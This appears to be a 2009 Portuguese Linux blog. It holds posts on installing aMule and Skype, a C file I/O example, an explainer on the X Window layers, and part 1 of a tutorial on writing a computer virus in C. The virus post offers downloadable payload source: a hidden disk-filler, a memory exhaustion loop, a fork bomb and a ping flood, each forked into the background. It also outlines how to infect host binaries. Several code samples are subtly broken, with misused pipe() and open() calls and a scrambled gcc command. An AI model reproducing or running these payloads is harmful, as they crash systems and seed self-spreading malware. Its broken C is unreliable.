Instalando e configurando o aMule (Debian)

2009-04-02T07:05:00.000-07:00

Visitas

Instalação

O aMule é uma boa alternativa para usuários Linux do programa eMule, seu concorrente famoso usando na plataforma Windows. Os dois são bastante parecidos, o que o torna bastante atraente para usuários novos na plataforma Linux acostumados com seu concorrente no Windows. A grande vantagem do aMule é que ele tem versões para várias plataformas: Linux, Mac e até Windows.

Para quem tem dúvida sobre sua performance, se tem a mesma quantidade de usuários consequentemente mesma quantidade de arquivos disponíveis. O aMule trabalha com a mesma rede, eDonkey.

Instalação
A instalação é bastante simples. Os passos abaixo foram testados no Debian e não apresentaram problemas.

Abra o terminal em modo root.

Digite a seguinte linha de comando:

# apt-get install amule

Responda sim (yes) em todas as perguntas.

Feito isso a instalação irá se completar sem problemas.

OBS.: Se os pacotes não forem encontrados, siga os passo do repositório e volte a executar esses passos. Caso contrário, pule para a configuração.

Repositório
Se a instalação falhou, os pacotes não foram encontrados, é porque o repositório usado não os contém. Para solucionar esse problema vamos incluir novos repositórios as seu Debian. Caso algum dos repositórios já esteja sendo utilizado, não o adicione.

Edite o arquivo /etc/apt/sources.list:

# vim /etc/apt/sources.list

Inclua no final do arquivo as seguintes linhas:

############
deb http://ftp.debian.org/debian/ etch main
deb-src http://ftp.debian.org/debian/ etch main

deb http://security.debian.org/ etch/updates main contrib
deb-src http://security.debian.org/ etch/updates main contrib
############

Salve o arquivo.

Os repositórios estão adicionados, volte a instalação.

Configuração

O grande problema que tenho visto após o aMule estar instalado é o fato de não conseguirem se conectar a rede. Isso acontece pois várias listas de servidores foram desativadas, incluindo a padrão da instalação do aMule.

Para corrigir isso:

Vá opção Rede > servidores e inclua as seguintes URLs. Clique em atualizar lista após cada uma.

http://www.picsystems.net/emule/servermet/all_server.met
(essa lista deve te retornar aproximadamente uns 180 servidores)

http://www.gruk.org/server.met.gz
(essa lista de te retornar uns 25 servidores)

http://www.gruk.org/server.met
(essa lista deve trazer uns 5 servidores)

Pronto, você está pronto, o aMule está pronto para conectar-se a rede.

OBS.: Sugiro que inclua essas três URLs em:

Preferências > Servidor > Atualizar lista de servidor ao se conectar (Botão lista). Sugiro também que marque esta mesma opção.

Instalação do Skype no Debian

2009-04-01T16:32:00.000-07:00

Visitas

O Skype é um programa VoIP que tem conquistado cada vez mais espaço. Particularmente prefiro ele ao Windows messenger por achá-lo mais profissional, mais leve, além de ter uma grande quantidade de recurso. A versão para Linux, infelizmente não é tão atraente quanto a Versão Windows, porém cumpre a sua função muito bem.

Veja uma screenshot dele em ação.

Para instalar, entre no site:

http://www.skype.com/intl/en/download/skype/linux/choose/

Escolha a sua distribuição e faça a instalação.

Neste caso irei me basear no Debian.

Escolha neste site o download da distribuição Debian. Salve o arquivo .deb.

Como root, abra um terminal e digite o comando:

# dpkg -i skype-debian_xxx.deb

Onde xxx é a versão do skype.

Uma outra forma bastante fácil é através do apt-get.

Neste caso, inclua o repositório para baixar o skype no arquivo /etc/apt/sources.list. Edite o arquivo da forma que preferir e inclua a linha:

deb http://download.skype.com/linux/repos/debian/ stable non-free

Salve o arquivo e execute os comandos:

# apt-get update
# apt-get install skype

Seguindo os passos, o Skype estará instalado e funcionando sem nenhuma configuração adicional.

leitura/escrita de dados/estruturas em arquivo

2009-03-30T19:52:00.000-07:00

Visitas

O código a seguir é apenas um exemplo simples de gravação de dados em arquivo texto sob forma de estrutura.

#include <stdio.h>

typedef struct Taluno
{
   char nome[20];
   int idade;
} Taluno;

Taluno aluno, raluno;

int main(void)
{
    /* aqui pode usar o strcpy, mas preferir por caracter x caracter para melhor visualizacao do que esta ocorrendo */
    aluno.nome[0] = 'F';
    aluno.nome[1] = 'u';
    aluno.nome[2] = 'l';
    aluno.nome[3] = 'a';
    aluno.nome[4] = 'n';
    aluno.nome[5] = 'o';
    aluno.nome[6] = '\ 0';

    aluno.idade = 10;

    FILE *file;

    /* abrindo o arquivo para escrita */
    if (!(file=fopen("teste.txt","w+"))) return 0;

    /* gravando os dados */
    fwrite (&aluno, 1, sizeof (Taluno), file);

    close (file);

    /* apenas para separar a escrita da leitura em 2 tempos */
    /* vou usar variaveis diferentes apenas para realmente verem que realmente a leitura esta sendo feita totalmente independente da escrita, nao quero deixar duvida */
    printf ("precione qualquer para continuar ...\n");
    getchar();

    FILE *filer;

    /* abrindo o arquivo para leitura */
    if (!(filer=fopen("teste.bkp","r"))) return 0;

    long ret;

    /* lendo o arquivo */
    ret = fread (&raluno, 1,sizeof (Taluno), filer);

    if (ret > 0)
    {
       /* imprimindo o conteudo lido */
       printf ("Nome: %s\nidade: %d anos\n", raluno.nome, raluno.idade);
    }

    close (filer);
    return 1;
}

X Window, Controladores de Janelas e Ambientes Desktop

2009-03-30T14:52:00.000-07:00

Visitas

O que é o X ?

O X window é um conjunto de protocolos e funções de comunicação utilizados para construir as primitivas gráficas, em sistema de janelas; como pontos, linhas e retângulos, e interface com hardware gráfico e entrada de dados (mouse, teclado). Praticamente tudo que você vê em um ambiente gráfico do GNU/Linux, FreeBSD, OpenBSD, NetBSD, Solaris e outros - Irei generalizar tudo como Linux - partiu de uma solicitação de uma aplicação ou biblioteca para o X.

O X foi criado desde sua base para suportar gráficos em rede. Os programas ou aplicações são conhecidos como clientes. Os clientes não desenham ou manipulam os gráficos direto em seu exibidor, mas se comunicam com seu servidor X para que esses manipulem o seu exibidor.

A confusão se dá basicamente por dois motivos:

* Normalmente os usuários caseiros executam o servidor e o cliente X na mesma máquina, passando a falsa sensação de que o exibidor é controlado pela aplicação que está sendo executada. Porém é possível executar vários servidores X em um único computador e os clientes de computadores remotos. Isso significa que ele pode ser acessado por vários tipos de rede ou através de uma linha dial-up.
* Outro motivo é que a idéia de quem é o cliente e quem é o servidor aparenta estar invertida neste caso. Se interajo com uma aplicação rodando remotamente, vou supor que sou o cliente e a outra máquina o servidor. Mas no caso do X, minha máquina será o servidor para a aplicação remota, pois esta enviará os pedidos (desenhe uma janela, um ícone, etc) para o servidor X rodando na minha máquina, que por sua vez exibirá na minha tela as solicitações da aplicação cliente X, e enviará para mesma a movimentação do mouse e entradas do teclado relevantes.

Você não deve se referir ao X Window como X Windows, os termos apropriados são X, X11, X versão 11 ou sistema X Window versão 11.

O X Foi desenvolvido de início no Instituto de Tecnologia de Massachussets no início dos anos 80. O primeiro lançamento oficial foi o X 10 no meado da década de 80 com lançamento do X11R1 em 1987. Com o fim de sua associação criadora o X passou a ser de propriedade da organização não-comercial X.org, cujos membros executivos incluem a Compaq, HP, IBM, Sun, SGI etc - que mantiveram o modelo original inalterado.

A evolução do X

Um sistema X Window muito utilizado nas distribuições Linux é a coleção de programas do Projeto XFree86 que é baseado na X11R6.4 ou X11, revisão 6.4.

O XFree86 é resultado do trabalho de vários programadores do Open Source e desenvolvedores ao redor do mundo. Uma das vantagens do XFree86 é que a maioria, senão todo o código fonte para os servidores, clientes, módulos, bibliotecas está disponível. Todavia o XFree86 não é distribuído sob a licença GLP, ele é protegido por um tipo de licença BSD de direito autoral, nem todo o código fonte tem que ser fornecido e os vendedores podem fazer melhorias porém distribuir apenas versões em binário.

O XFree86 funciona em uma quantidade bastante vasta de chips de vídeo, placas gráficas e sistemas para notebook, incluindo hardware não Intel. Porém, se você tiver uma necessidade especial ou o XFree86 não funcionar adequadamente, você pode usar fontes alternativas.

Posteriormente, a versão XFree86 da X.Org, baseado no X11R6.4 incluíram algumas melhorias como exibidores multi-head (XINERMA), recursos de configuração mais simples, Display Power Management Signal (DPMS) para economizar energia dos monitores, exigência de memória reduzida, APIs, novas placas gráficas suporte DRI para gráficos 3D etc.

As novas distribuições vem disponibilizando como X Window o XOrg e não mais o XFree86. O XOrg é um fork no projeto Xfree a partir da versão 4.4 Rc2. Essa mudança originou-se por causa da licença do Xfree4.4 final que impunha cláusulas de propaganda.

Basicamente, como o xfree é open source, ex-programadores do xfree, insatisfeitos com o desenvolvimento do mesmo, resolveram fazer um novo projeto baseado no xfree. Como o xfree mudou a sua licença, onde cada distro que a utilizasse ficaria obrigada a mencionar o uso do xfree em sua licença principal, algumas distros resolveram mudar para a XOrg, que utiliza a licença GNU/GPL tradicional.

Entendendo o X

Antes de continuarmos vamos analisar a estrutura típica do Linux.

Cada camada recebe solicitações da camada superior e faz suas solicitações as camadas inferiores. Contudo as camadas não são obrigadas a fazer solicitações as camadas imediatamente inferiores, as solicitações podem pular camadas e fazer solicitações a camadas ainda mais abaixas. As camadas inferiores, assim, não tem consciência de quem está acima. Acima de tudo está o usuário que ao interagir com as aplicações não precisam saber se estão manipulando o Kernel, ferramentas, ambiente gráfico ou seja lá o que venham a inventar.

Esse tipo de estrutura é bem flexível, pois, podemos trocar qualquer componente de uma camada por outro compatível que continua tudo a funcionar normalmente. Lembrando que o padrão seguido pelos Linux POSIX, que estabelece compatibilidade em nível de código fonte, e recompilações seriam necessárias, possivelmente em outras camadas além da que estivesse sendo substituída. Isso é exatamente o que chamamos de arquitetura modular.

A vantagem desse tipo de arquitetura é exemplificado com o caso do servidor XFree86, que devido à uma mudança no licenciamento e outros problemas, já citados, fizeram com que a maioria dos desenvolvedores saíssem do projeto com o código anterior a mudança da licença e criassem o X.Org, gerido pela X.Org. Hoje em dia X.Org avança muito mais rápido que o XFree86 e é o padrão da maioria das distribuições, enquanto isso o XFree86 agoniza lentamente. A substituição não foi tecnicamente problemática pois os clientes continuavam fazendo suas solicitações via o protocolo X11.

O funcionamento do X
Como já mencionado, no X o servidor e cliente se comunicam via protocolo X11. O servidor desenha as informações no exibidor e repassam as informações recolhidas, como clique do mouse, ao cliente. Este por sua vez processa as informações recebidas e requisita ao servidor para que o resultado seja mostrado no exibidor. Veja a estrutura:

Com isso podemos:

Executar o X11 via SSH:

$ ssh login@servidor -X

Usando o parâmetro X no ssh habilitamos o modo X11 porém por uma solicitação criptografada.

Multihead:

O Incrível Computador de Duas Cabeças.

Com dois ou mais monitores e placas de vídeo, na quantidade certa, podemos ter o resultado de uma aplicação executada em um cliente X mostrada de forma "configurável" em todos os monitores. Esse recurso é conhecido como Xinerama.

Múltiplos Servidores X:

Podemos rodar mais de um servidor X na mesma máquina. Essa forma é facilmente observada nas distribuições mais novas quando fazemos uso da opção "Logar como outro usuário". Neste caso, um novo servidor X é executado e sem deslogar o anterior ficando possível alternar entre os servidores.

Podemos ainda ter servidores X dentro de outro servidor X, é o que se chama servidor aninhado.

Controladores de janelas x Ambiente desktop

Até o momento, estivemos tratando o ambiente gráfico do Linux como se fosse apenas o servidor X, mas na realidade o ambiente gráfico como conhecemos se divide em mais duas camadas, o Controlador de Janelas e o Ambiente Desktop.

Atualmente, estamos acostumados com um padrão gráfico, ou melhor, um paradigma gráfico, que foi desenvolvido pela Xerox e que obteve muito sucesso, sendo copiado pela maioria, senão por todos os ambientes Desktops encontrados, o WIMP - Window, Icon, Menu, Pointing device (Janela, Ícone, Menu, Dispositivo de apontador).

No Linux:

* o Servidor X cuida apenas do Dispositivo de apontador, do WIMP ( além do vídeo, teclado e mouse).
* o Gerenciador de Janelas cuida de toda a lógica referente a janela, como: arrastar, redimensionar, minimizar, não deixar redimensionar bordas fixas etc.
* o Ambiente Desktop, por sua vez abstrai, através de ícones e Menus.

Para ilustrarmos o funcionamento das três camadas, vamos imaginar a execução de um programa através de dois cliques dado no ícone.

O Servidor X captura os cliques e passa adiante, para quem for responsável, isso não o importa para ele. Neste caso o responsável foi o Ambiente Desktop que abstraiu a execução da aplicação em um ícone, ele então, entende o clique realiza a execução da aplicação, porém a solicitação de execução da aplicação poderia ser feita por uma linha de comando no shell. Ao criar a janela, o gerenciador de janelas passa a gerenciá-la. Nem a aplicação, nem o Servidor X querem saber quem vai tratar o gerenciamento da janela, nem se alguém vai tratar. A aplicação estará preocupada com o que ela se destina a fazer, já o Servidor X está preocupado em desenhar na tela, onde pedirem.

Logo, quando a janela é arrastada, o Gerenciador de Janelas solicita ao Servidor X que redesenhe a janela em várias posições diferentes, apagando sempre o desenho anterior, dando a sensação de movimento. Porém, o Gerenciador de Janelas poderia pedir que ao X que desenhasse apenas quando chegasse ao destino, ou poderia não ter gerenciador de janela, fazendo com que a janela não pudesse ser movida.

Um gerenciador de janelas, normalmente, não oferece abstração para ícones e menus, eles esperam que o Ambiente Desktop faça esse trabalho, porém nada impede que sejam criados Gerenciadores de Janelas como o Fluxbox e Enlightenment, que foram feitos para não necessitarem de nenhum componente superior.

As imagens abaixo mostram a Ambiente Desktop GNOME, que veremos mais tarde, exibindo uma janela do Iceweasel.

Na primeira imagem o Gerenciador de Janelas metacity está em execução. Note que a janela apresenta a barra de título, os botões de controle, bordas etc. Todas estas funcionalidades existem pois o metacity está controlando-as.

Na segunda imagem temos o mesmo ambiente, porém o processo do metacity foi destruído, logo, não há mais um Gerenciador de Janelas sendo executado. Note que todas as funcionalidades referentes ao Gerenciador de Janelas deixou de existir.

Em ambos os casos, o Servidor X, neste caso o Xorg, e o ambiente Desktop, o GNOME, estão em execução.

Como foi mostrado, o Ambiente Desktop é algo bastante abstrato. Ele é formado por um conjunto de bibliotecas, serviços muito bem integrados e disponibilizado de forma agradável para utilização dos usuários. Porém, isso tem um custo. O desempenho da máquina é diminuindo de forma sensível. Isso faz com que usuários mais hardcore prefiram usar Gerenciadores de Janelas como, os já citados, Fluxbox e Enlightenment.

Os GNOME, KDE, XFCE, XPde, WindowMaker e IceWM são exemplos de Ambiente Desktop bastante usado no Linux. O XFCE, por exemplo, embora seja bem modesto, também é muito leve, contudo, traz muito mais funcionalidade que qualquer Gerenciador de Janelas, isso o torna uma opção bastante interessante para usuários de máquinas mais modestas.

Recentemente a Novell liberou o servidor XGL que usa a aceleração 3D da placa de vídeo para fazer efeitos maravilhosos. Graças a essa independência dos pacotes, esses efeitos podem ser vistos em qualquer Desktop (GNOME, KDE, XFCE, XPde, WindowMaker, IceWM etc) e qualquer Gerenciador de Janelas (metacity, fluxbox, enlightenment etc), pois o XGL é um Servidor X (que segue o padrão X11), logo ele é transparente as camadas superiores. Além do XGL, existe também o AIGLX da X.Org.

Percebam a modularização, essa independência das camadas do "Linux" (aqui entre aspas pois me refiro ao Linux de uma forma mais abrangente ainda do que vinha tratando) é um dos motivos que levam cada dia mais o "Linux" ganhar não usuários, mas amantes.

Brincado com as camadas

Veremos, praticando, o funcionamento das três camadas vistas neste artigo. Para isso, será usada a instalação Desktop básica de uma distribuição Debian, os testes poderão ser feitos usando o Ambiente Gráfico de qualquer distribuição, levando em consideração - é claro - suas diferenças.

De todas as três camadas; Servidor X, Gerenciador de Janelas e Ambiente Desktop; o único processo que não será parado é o Servidor X, pois se este for destruído, torna-se impossível utilizarmos a parte gráfica da distribuição.

Nestes exemplos usaremos o XOrg como Servidor X, o metacity como Gerenciador de Janelas e o GNOME como Ambiente Desktop.

Você poderá instalá-los usando (para usuários do Debian):

# apt-get install xorg metacity gnome

Na seção de login, use a seção Terminal de segurança, abrirá um terminal em um ambiente gráfico. Neste momento, apenas o XOrg (servidor X) estará rodando.

Digite no terminal:

$ ps -ax

Veja que não há ocorrência do Gerenciador de Janelas (metacity) e nem do Ambiente Desktop (gnome).

Apenas com o Servidor X ativo, digite:

$ xcalc &
$ gimp &

Você terá seguinte tela.

Tente mover ou redimensionar a janela, verá que não é possível.

Note que as janelas estão sem a barra de título, os botões de controle etc. Isso se deve pelo fato de que o Gerenciador de Janelas não está ativo. Também não há a barra de menu do gnome, controle de volume etc, afinal, o Ambiente Desktop também não está ativo.

Ativaremos então, o Gerenciador de Janelas. Digite no terminal:

$ metacity &

Obs.: Caso não consiga passar o foco para o terminal, feche o gimp (pois o gimp prende o foco em sua janela) execute o metacity e depois o gimp novamente.

Agora o seguinte ambiente será mostrado.

Note que agora, como o metacity, as janelas já apresentam sua funcionalidades, apesar do Ambiente Desktop ainda não estar ativo.

Então, ativaremos o Ambiente Desktop. Digite no terminal:

$ gnome &

Teremos agora o ambiente que estamos acostumados com o Servidor X, Gerenciador de Janelas e Ambiente Desktop.

Faltou vermos o Ambiente Desktop redando direto sobre o Servidor X, sem um Gerenciador de Janelas entre eles. Então, mate o processo metacity. Digite no terminal:

$ ps -ax | grep metacity

Anote o número do processo do metacity e:

$ kill -9

ou digite no terminal:

$ exit

Logue novamente na seção Terminal de segurança. No terminal digite:

$ gnome &
$ xcalc &
$ gimp &

Teremos então a seguinte tela:

Espero ter esclarecido algumas dúvidas com relação ao assunto proposto.

Vírus de computador e criação de um vírus em C/C++ (parte 1 - básico)

2009-03-27T14:51:00.000-07:00

Visitas

Revirando meus materiais antigos encontrei um disquete, ainda funcionando, que continha um vírus criado no início de minha vida na informática. O código original estava em Pascal e foi criado para funcionar em DOS/Windows. Fiz algumas modificações, reescrevendo o código em C e adaptando seu funcionamento

Motivação

Antes de tudo, queria deixar claro que o intuito não é fazer com que as pessoas passem a prejudicar outras. A idéia é didática, apresentar teorias e códigos bastante interessantes que possam ser utilizados por programadores em suas criações.

O código foi encontrado em um de meus disquetes antigos, que ainda encontrava-se guardado e estava prestes a ser descartado, porém ao ver seu conteúdo, lembrei do quanto me foi edificador criá-lo.

O vírus é um resquício do início da minha vida na informática e achei que seria interessante divulgá-lo. Como se trata de um código escrito quando eu era iniciante nesta área, provavelmente não apresentará nada de novo a programadores mais experientes, sendo destinado a iniciantes.

O original foi escrito em Pascal para funcionar em DOS/Windows. Para apresentá-lo a uma comunidade voltada para Linux, resolvi fazer algumas alterações, rescrevendo o código em C e fazendo adaptações para que funcione em Linux.

Essas alterações trazem algumas conseqüências, como perda de funcionalidade. O vírus funcionava muito bem em DOS/Windows, porém em Linux, com sua proteção multi-usuário e com um kernel bastante robusto, fica muito difícil manter a eficiência do original, sendo assim, não causará maiores transtornos a usuários mais experientes.

Por exemplo, a infecção em um sistema DOS/Windows é teoricamente fácil, basta infectar um arquivo .exe ou .com e pronto. Porém no Linux, é diferente. Primeiro, o que define se um arquivo é executável ou não, não é a extensão e sim o atributo do arquivo, e mesmo que um arquivo esteja com o atributo de executável ele não poderá ser um script, tem que ser binário.

E mesmo um arquivo executável e binário tem que dar permissão de escrita ao vírus. Sendo assim, só a parte de infecção faz com que o vírus cresça em muito de tamanho, pois é muito mais complexo encontrar quem poderá ser infectado, sendo possível não encontrar ninguém.

O exemplo citado já diminui em muito a eficiência de um vírus, pois um dos princípios básicos de um vírus é que ele tem que ser pequeno. Por motivo de tamanho é que os vírus são escritos em Assembly - de preferência, em C/C++ ou no máximo em Pascal. Pelo menos era assim quando eu comecei a estudá-los.

Além da dificuldade imposta pela plataforma, o código também, encontra-se "há anos luz" de vírus mais sofisticados e modernos que contam até com AI (Inteligência Artificial).

Mas isso não incomoda, já que, como mencionei, a proposta não é ensinar a criar um código destrutor e sim apresentar conceitos e códigos de algo tão fascinante que é um vírus, além de estar gostando, apesar de nostálgico, recordar o início de tudo...

Introdução

Normalmente, qualquer problema que aconteça com o computador durante sua operação é atribuído ao vírus (referência quase que exclusiva dos usuários Windows), mesmo que o problema se de por inexperiência do usuário ou mal funcionamento do sistema.

Todos sabemos da dificuldade dos usuários de se adaptarem a novos sistemas ou atualizações - novos paradigmas, novos botões, novas funcionalidades. Também é sabido da existência de defeitos nos softwares, principalmente no caso de versões recém lançadas, normalmente as versões X.0.

Qualquer um que atualize ou instale programas recém lançados se arriscam a ter problemas, normalmente as versões X.01 são correções de defeitos encontrados nas versões X.0. De acordo com pesquisa feita pela PC Magazine, 50% dos prejuízos em softwares são causados pelos motivos citados e não por ação de um vírus de computador.

Um vírus de computador é um programa capaz de infectar outro programa, através de uma modificação deste incluindo uma cópia de si mesmo no código original. Por isso o nome de vírus, uma analogia ao vírus biológico que transforma as células em fábricas de cópias do vírus original.

Para o usuário em geral, qualquer programa que apague dados ou atrapalhe o funcionamento de sua máquina é chamado de vírus. Para um programador, um vírus é algo bastante interessante, pois, se trata de um programa altamente sofisticado, capaz de tomar decisões, funcionar em diversos tipos de máquinas além de apresentar índices mínimos de problemas ou mal funcionamento.

Stephen Hawking se referiu ao vírus de computador como a primeira forma de vida criada pelo homem, pois podem se reproduzir e garantir sua sobrevivência sem a interferência do homem. Fato que faz com que muitos vírus existam até hoje, vários anos após sua criação.

Para muitos cientistas, a reprodução e a manutenção da sobrevivência são princípios básicos para que um organismo seja descrito como vivo.

Modus Operandi
Basicamente, o vírus pode infectar um computador de três formas:

1) vírus de disco - infectam o setor de boot do disco, parte responsável pela manutenção dos arquivos no HD. Funcionam como uma tabela de índice contendo a posição de cada arquivo gravado em disco; neste caso, qualquer operação feita com o arquivo - gravar, carregar etc - pode ativar o vírus que por sua vez fará uma copia de si mesmo para outra unidade e assim sucessivamente. Esse tipo de vírus atualmente não é muito comum, mas no passado era bastante criado pelos desenvolvedores.

2) vírus de arquivo - infectam arquivos executáveis. Eles se copiam para o início ou fim destes. Dessa forma, ao carregar um programa, código do vírus é executado, esse cumpre sua função e pula para o início do código do executável desejado, dando assim continuidade ao seu processo.

3) vírus mult-partite - bastante sofisticados, infectam tanto o setor de boot quanto arquivos executáveis.

Uma exceção é o DIR-II - Vírus deste tipo alteram a tabela de arquivos de forma a serem chamados antes dos programas a serem executados. Não são, nem propriamente dito, como "vírus de boot", "de arquivos" e muito menos "mult-partite".

Quanto a detecção
Um vírus, como todo o dado armazenado em disco ocupa espaço. No caso de vírus de arquivo, mesmo que seja criado em linguagem de montagem (Assembly), ocupando um espaço mínimo este "aumenta o tamanho do arquivo".

Ao copiar-se para dentro de um programa, duas coisas aconteciam: (I) o executável mudava de tamanho e (II) a data de gravação também era alterada.

Existiam vírus que infectavam arquivos já infectados, fazendo com que estes aumentassem de tamanho a cada execução, chegando a se auto infectar até tamanho absurdos.

Esse tipo de infecção era facilmente identificada por usuários mais atentos, pois um simples ls -l mostrava a alteração do tamanho e da data em arquivos infectados.

Passou-se então a fazer vírus que reconheciam suas cópias em executáveis, fazendo com que estes não infectassem arquivos já infectados. Neste caso, anti-vírus mais simples conseguia, identificá-los executando os programas e comparando a data de criação antes e pós execução.

Posteriormente, os vírus passaram a alterar a data de gravação dos hospedeiro (arquivo infectado) além de não se auto infectar. Com isso, tornou-se praticamente impossível a detecção pelo usuário sem a ajuda de um anti-vírus.

Para esses tipos de vírus, os mais comuns atualmente, o anti-vírus passou a manter uma base de dados com características dos vírus, então eles buscam essas características dentro dos arquivos, vasculhando todo seu conteúdo.

Como funciona um anti-vírus
Muita gente desconhece o funcionamento, mas um anti-vírus trabalha levando as considerações acima, basicamente de três formas:

1) vigiando a memória do micro e identificando a ação de qualquer novo programa.

2) mantendo um arquivo com as características dos arquivos antes da infecção, assim, qualquer alteração que o arquivo original sofra é identificado.

3) o mais comum: abrindo cada um dos arquivos possíveis de infecção e examinando o código do programa. Lembrando que eles mantém uma base de dados com o código ou parte do código dos vírus que eles conseguem identificar.

Porque os vírus são escritos
O vírus de computador sempre causa curiosidade. Quando fizeram esta pergunta em uma convenção de produtores de vírus e hackers, na Argentina, a resposta foi:

- Because it's fun!

Ação do vírus

A ação do vírus foi posta em um tópico separado, pois é muito vasta, depende da criatividade do programador, podendo ir de uma bolinha passeando pela tela a destruição total do HD.

Foram escolhidas quatro ações que não destruirão seu sistema, elas apenas travam o sistema e uma simples reinicialização bastará para que tudo volte a funcionar perfeitamente. Porém não esperaremos chegar a esse ponto.

As quatro ações travam o sistema pois: (I) a primeira enche o HD, (II) a segunda lota a memória, (III) terceira cria vários processos de si mesmo e o (IV) quarto faz muitos pedidos ao host.

Todos os quatro exemplos poderão funcionar como programas a serem testados, porém, ao ser incluído no código do vírus, apenas as funções acao serão utilizadas.

Exemplo 1
O primeiro exemplo lota o HD com bagaço: cria um arquivo, mantém aberto e apaga, porém continua enchendo-o de dados. Dessa forma ele fica invisível ao usuário; nem o ls, nem o find poderão encontrá-lo.

O fonte está publicado para download aqui.

/* progacao1.c */

#include <stdio.h>
#include <stdlib.h>

acao()
{
   int ifd;
   char *buf=("1","2","3","4","5","6","7","8","9","0");
   long c;
   int desc;
   close(1); /* fecha a saída padrão, o vídeo */

   pipe (desc); /* com a saída padrão fechado, fazemos com que a saída passe a ser o pipe. O descritor dessa nova saída será armazenados em desc */

   ifd=open("./lotaHD", "w+",0777); /* abre o arquivo para escrita */

   unlink("./lotaHD"); /* apaga o arquivo */

   while (1)
   {
      write(ifd, buf, sizeof(buf)); /* em um loop infinito grava os dados de buf no arquivo */
      printf ("oi\n"); /* precisamos de um tempo para a gravação, é o tempo que se escreve esta string na saída. Por isso usamos o pipe. Não queremos que o vírus fique escrevendo nada no vídeo */
   }
}

main()
{
   int i;

   i=fork(); /* precisaremos criar um outro processo, pois o vírus terá que continuar sua execução enquanto sua ação é realizada.
      Não poderia ser uma thread, pois mesmo que o programa hospedeiro se encerre, o processo tem que continuar.
      O processo filho que foi criado é quem deve se encarregar da execução da ação, o pai tem que continuar a executar as funcionalidades restantes do vírus */
   if (i==0)
      acao();
}

Para compilá-lo basta fazer:

$ gcc progacao1.c -o progacao1

Para executá-lo:

$ ./progacao1

Use o comando (várias vezes) df para ver o espaço em disco diminuindo. Use o comando ls ou find ./ -name lotaHD para ver se encontra o arquivo.

Mate o processo com ps -ax (busque o número do processo progacao1) e kill -9 [núm. processo]

Exemplo 2
O exemplo 2 trava o sistema lotando a memória do micro, alocando o máximo de memória permitido.

O fonte está publicado para download aqui.

/* progacao2.c */

#include <stdlib.h>
#include <stdio.h>
acao ()
{
   char *f;
   while (1)
   {
      f = malloc (10000); /* aloca uma memória de 10000 bytes a cada loop e deixa perdida, não irá se importar em recuperar o endereço alocado */
      usleep (10); /* espera um tempo de 10/1000.000.000 s para o sistema não ficar lento de forma que se perceba uma execução fora do normal */
   }

}

main () /* o main já foi explicado no exemplo 1 */
{
   int i;
   i=fork();
   if (i==0)
      acao();

}

Para compilar:

$ gcc progacao2.c -o progacao2

E para executar:

$ ./progacao2

Para ver o uso de memória aumentando use ps -axv.

Mate o processo com ps -ax (busque o número do processo progacao1) e kill -9 [núm. processo].

Exemplo 3

O exemplo 3 também enche a memória, porém desta vez com processos. Esse ataque é difícil de parar, pois não é possível matar os processos individualmente. Eles são criados mais rápidos do que o usuário é capaz de matar, ou seja o "ps + kill" não funcionaria.

Há uma opção, usar kill -TERM -1. Esse comando matará qualquer processo que não seja criado pelo root. Com isso, qualquer dado que não tenha sido gravado será perdido.

Versões mais recentes do Linux estão imunes a esse caso, pois agora os usuário podem ter apenas um determinado número de processos sendo executado, porém essa regra não serve para o root.

O fonte está publicado para download aqui.

/* progacao3.c */
acao ()
{
   while (1)
      fork();
}

main () /* o main já foi explicado no exemplo 1 */
{
   int i;
   i=fork();
   if (i==0)
      acao();

}

Para compilar:

$ gcc progacao3.c -o progacao3

Para executar:

$ ./progacao3

Use: ps -ax para ver a infinidade de processos criados. Mate o processo com: kill -TERM -1.

Porém, não se esqueça que apenas os processos executados como root permanecerão ativos.

Exemplo 4

No exemplo 4 o host irá responder a vários pacotes de ping que serão disparados contra eles, sem perceber que assim irá travar o sistema.

Será executado o ping do sistema, que já é um loop infinito, tendo que ser executado em uma thread para não deixar o nosso loop parado esperando seu término.

O ping do sistema também retorna uma saída, que não queremos que seja mostrada na tela, tendo assim que ser redirecionada para o pipe.

O fonte está publicado para download aqui.

/* progacao4.c */

#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>

void ping(char *host); /* para usar a função na thread o cabeçalho da função deve estar declarado */

acao()
{
   int return_thread;
   pthread_t thread;

   while (1)
   {
      return_thread=pthread_create (&thread, NULL, (void *)ping,"ping -s 400 127.0.0.1"); /* criando a thread */
      usleep (10); /* já explicado no exemplo 2 */
   }
}

main () /* o main já foi explicado no exemplo 1 */
{
   int i;
   i=fork();
   if (i==0)
      acao();

}

void ping (char *host)
{
   int desc;
   close(1);

   pipe (desc); /* o pipe já foi explicado no exemplo 1 */
   system (host); /* executa um comando do sistema (ping, ls, rm, mv etc.) */
}

Para compilar:

$ gcc -o progacao4.c -lpthread progacao4

Para executar:

$ ./progacao4

Para ver o andamento use: ps-ax

Para parar a thread, basta matar o processo pai. Faça-o com:

$ ps -ax | grep progacao4 (busque o número do processo progacao4)

E:

$ kill -9 [núm. processo]

Teorizando

Nesta primeira parte do artigo criaremos um vírus muito simples, mas que servirá para o entendimento do processo de funcionamento.

O vírus funcionará na seguinte ordem: ele se copia para um arquivo temporário, copia o arquivo hospedeiro para o final do temporário, apaga o arquivo hospedeiro original e renomeia o arquivo temporário.

Seria algo mais ou menos assim:

$ cat virus >> temp
$ cat hospedeiro >> temp
$ rm hospedeiro
$ mv temp hospedeiro

Porém, fazendo assim vários problemas iriam ocorrer:

1) não temos garantia de que o hospedeiro infectado tenha permissão de execução.

2) tendo permissão de execução, apenas o código do vírus seria executado.

O que nosso código terá que fazer:

1) guardar a linha de comando digitada para passar ao hospedeiro.

2) buscar por todo o disco arquivos executáveis binários que possam ser infectados.

3) quando encontrar arquivos possíveis de infecção, infectá-los.

4) executar a funcionalidade do vírus.

5) executar o código do hospedeiro com a linha de comando.

Alguns detalhes deverão ser tratados:

1) não é possível esperar a infecção dos arquivos e nem a execução da funcionalidade do vírus para que seja executado o hospedeiro.

2) será necessário saber de antemão o tamanho do vírus, para separá-lo exatamente do hospedeiro.

Requisitos necessários
1) compilador gcc:

# apt-get install gcc (para instalá-lo no Debian e distros based)

2) biblioteca ncurses:

# apt-get install libncurses

3) biblioteca libc:

# apt-get install libc6

4) bibliotecas essenciais:

# apt-get install build-essential

É aconselhável que teste o vírus em uma máquina virtual. Sugiro usar o qemu.

Mãos à obra

O fonte está publicado para download aqui.

/*
virus1.c

Obs.: os tipos de arquivos podem ser
10. link simbólico lxxx
8. arquivo -xxx
6. arquivo de bloco bxxx
4. diretório dxxx
2. arquivo de caracter cxxx
1. arquivo de paginação pxxx
*/

#include <dirent.h>
#include <stdio.h>
